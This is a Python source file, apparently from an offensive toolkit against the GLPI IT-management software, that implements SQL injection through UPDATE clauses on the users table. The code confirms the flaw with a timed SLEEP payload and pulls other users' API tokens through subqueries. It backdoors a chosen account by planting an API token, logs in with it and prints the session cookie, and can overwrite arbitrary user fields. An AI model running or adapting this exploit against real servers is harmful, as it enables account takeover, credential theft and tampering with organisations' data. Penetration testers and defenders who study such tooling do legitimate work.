import time
from typing import final
from abc import abstractmethod

from .exploit import GlpiExploit
from glpwnme.exploits.logger import Log
from glpwnme.exploits.utils import GlpiUtils, LoginResult

class UpdateSqlInjectionMixin(GlpiExploit):
    """
    Class helping for sql injection on update clauses in GLPI

    A lot of methods are final here, it is because I don't want to implement
    those methods in different ways in each class. Still you can update
    some methods here if needed
    """
    field_storage = "phone2"

    def __init__(self, glpi_session, field):
        super().__init__(glpi_session)
        self.field = field
        self.user_id = None

    @property
    def field(self):
        if not self._field:
            raise ValueError("Cannot work with an undefined <field>, "
                             f"override the __init__ method in {self.__class__.__name__}")
        return self._field

    @field.setter
    def field(self, value):
        """
        Set the field vulnerable to sql injection

        :param value: The name of the field
        :type value: str
        """
        if not value:
            raise ValueError("Cannot set the field to an empty value")
        self._field = value

    @abstractmethod
    def _make_payload(self, field, payload, condition):
        """
        Make the sql payload ready to be injected

        :param field: In which field to store the result
        :type field: str

        :param payload: The sql payload to use, Do not use `FROM glpi_users` inside as
          it will break the sql syntax
        :type payload: str

        :param condition: The condition which is mandatory, to not apply an update everywhere
        :type condition: str
        """
        raise NotImplementedError

    @abstractmethod
    def send_payload(self, payload):
        """
        Send the payload

        :param payload: The payload sql to send
        :type payload: str
        """
        raise NotImplementedError

    def infos(self):
        """
        This method is used to display the information of an exploit.
        This method support rich formatting

        :return: The whole informations about an exploit
        :rtype: str
        """
        infos = "[u]Description:[/u]\n"
        infos += "This exploit allow to execute arbitrary query inside an [b]UPDATE[/] statement in the [i]glpi_users[/] table\n"
        infos += "It can be used to backdoor any account, or change db fields.\n"
        infos += "Also you shall be able to recover any db value if you need\n"

        infos += "\n[u]Params:[/u]\n"
        infos += " - [i]account_target[/i]: The name of the account on which to update the data through SQL Injection\n"
        infos += " - [i]set_field (optionnal)[/i]: The field to set on the `glpi_users` table\n"
        infos += " - [i]set_val (optionnal)[/i]: The val to set for the associated field\n"

        infos += "\n[u]Usage:[/u]\n"
        infos += "[grey66]# Backdoor an account named glpi[/]\n"
        infos += "--run -O account_target=glpi\n"

        infos += "\n[grey66]# Change the field name is_active in the db and set it to 1 (re-enable a user)[/]\n"
        infos += "--run -O account_target=glpi set_field=is_active set_val=1\n"
        infos += "\nExploit is [red b]Dangerous[/]"
        return infos

    def log_payload(self, payload):
        """
        Log the SQL payload on screen in order to show what really happens under
        the HOOD !!

        :param payload: The payload used
        :type payload: str
        """
        Log.msg("SQL Payload used:")
        Log.print(f"UPDATE `glpi_users` SET `{self.field}` = '{payload}'")

    def get_user_id(self):
        """
        Return the user_id of the current user

        :raise LookupError: If the user id is not found

        :return: The user_id
        :rtype: str
        """
        if not self.user_id:
            current_user = self.glpi_session.get_username()
            user_id = current_user["id"]
            if not user_id:
                raise LookupError("Cannot find user ID !")
            self.user_id = user_id
        return self.user_id

    def _reset_field(self, field, condition):
        """
        Reset a field to the value NULL. If the field is the injected field
        then reset it already, withotu making the SQL query more complex.
        By default, the field overrided is always reseted to NULL at each SQL injection

        :param field: The name of the field to reset
        :type field: str
        """
        self.send_payload(self._make_payload(field=field, payload="NULL", condition=condition))

    def success_hook(self):
        """
        Usable hook for subclasses if needed

        This hook will be called 3 times:
         - After a successfull check
         - After a successfull exploit
         - After a clean (cannot decide whether or not it worked)
        """
        ...

    @final
    def _recover_api_token(self, username):
        """
        Recover the api token from the user username

        :param username: The target username to exploit
        :type username: str

        :return: The api token of the target if found, else empty string
        :rtype: str
        """
        user_hex = GlpiUtils.to_hex(username)
        api_payload = f'(SELECT api_token from (select * from glpi_users) as temp_table where name={user_hex})'
        payload = self._make_payload(field=self.field_storage,
                                     payload=api_payload,
                                     condition=f"id={self.get_user_id()}")
        self.send_payload(payload)
        res = self.glpi_session.get_user_data()
        api_token = GlpiUtils.extract_user_field(res.text, self.field_storage)
        return api_token

    @final
    def check(self):
        """
        Check if the target is vulnerable
        The payload actually just sleep for 3 seconds and reset the
        field to NULL (default value)
        """
        self.get_user_id()
        payload = self._make_payload(field=self.field,
                                     payload="(SELECT SLEEP(3) UNION SELECT NULL LIMIT 1 OFFSET 1)",
                                     condition="is_active=1 LIMIT 1")
        start_time = time.time()
        self.send_payload(payload)
        if time.time() - start_time > 3.0:
            self._reset_field(field=self.field, condition="is_active=1 LIMIT 1")
            self.success_hook()
            return True
        return False

    @final
    def _backdoor_account(self, account_target, api_key):
        """
        Backdoor account on glpi by setting an api key

        :param account_target: The account to backdoor
        :type account_target: str

        :param api_key: The api_key used
        :type api_key: str
        """
        Log.log(f"Api key generated: [b]{api_key}[/b]")
        Log.log(f"Trying to backdoor account {account_target}")

        current_api_key = self._recover_api_token(account_target)

        if not current_api_key:
            self._write_log(f"Backdooring account '{account_target}' with API Token: '{api_key}'")

            account_hex = GlpiUtils.to_hex(account_target)
            api_key_hex = GlpiUtils.to_hex(api_key)

            payload = self._make_payload(field="api_token",
                                         payload=api_key_hex,
                                         condition=f"name={account_hex}")
            self.log_payload(payload)
            self.send_payload(payload)

            # Calling hook here after exploit, to prevent logout - login op
            self.success_hook()

        else:
            Log.msg(f"Already existing API Token: {current_api_key}")

            # Clean the field used to store the sql injection result
            self.post("/front/preference.php",
                      data={"id": self.get_user_id(),
                            self.field_storage: "",
                            "update": "Save"}
                      )
            api_key = current_api_key

        self.glpi_session.logout()
        if self.glpi_session.login("", "", others={"user_token": api_key}) == LoginResult.SUCCESS:
            Log.msg(f"Backdoor worked, cookie:")
            print("; ".join(self.glpi_session.get_login_cookie()))
        else:
            Log.err(f"Could not login with API Token...")

    @final
    def run(self,
            account_target,
            set_field=None,
            set_val=None):
        """
        Run the exploit on the target, it actually backdoor an account with an api key

        :raises ValueError: When parameters are missing

        :param account_target: The name of the account to backdoor
        :type account_target: str

        :param set_field: The field to set
        :type set_field: str

        :param set_val: The val to set for the given field
        :type set_val: str
        """
        self.get_user_id()
        if(set_field and set_val):
            Log.msg(f"Updating field {set_field}={set_val} on account [blue]{account_target}[/]")
            condition = "name=" + GlpiUtils.to_hex(account_target)
            if not set_val.isdigit():
                # Convert string to mysql hex so no worry about the weird char
                new_value = GlpiUtils.to_hex(set_val)
            else:
                new_value = set_val
            payload = self._make_payload(field=set_field, payload=new_value, condition=condition)
            self.log_payload(payload)
            self.send_payload(payload)

            self.success_hook()
            self._write_log(f"Updated {set_field} -> {set_val} for {account_target}")
            Log.msg("Update shall have been done")

        elif(not(set_field or set_val) and account_target):
            api_key = GlpiUtils.random_str(40)
            self._backdoor_account(account_target, api_key)

        else:
            Log.err("Wrong usage")

    @final
    def clean(self, account_target):
        """
        Clean the exploit, by resetting its api key

        :param account_target: The name of the account to clean
        :type account_target: str
        """
        self.get_user_id()
        account_hex = GlpiUtils.to_hex(account_target)

        payload = self._make_payload(field="api_token",
                                     payload="null",
                                     condition=f"name={account_hex}")

        self.log_payload(payload)
        self.send_payload(payload)
        Log.msg(f"API Key of {account_target} shall have been removed !")
        self.success_hook()
        self._write_log(f"API key of {account_target} unset")
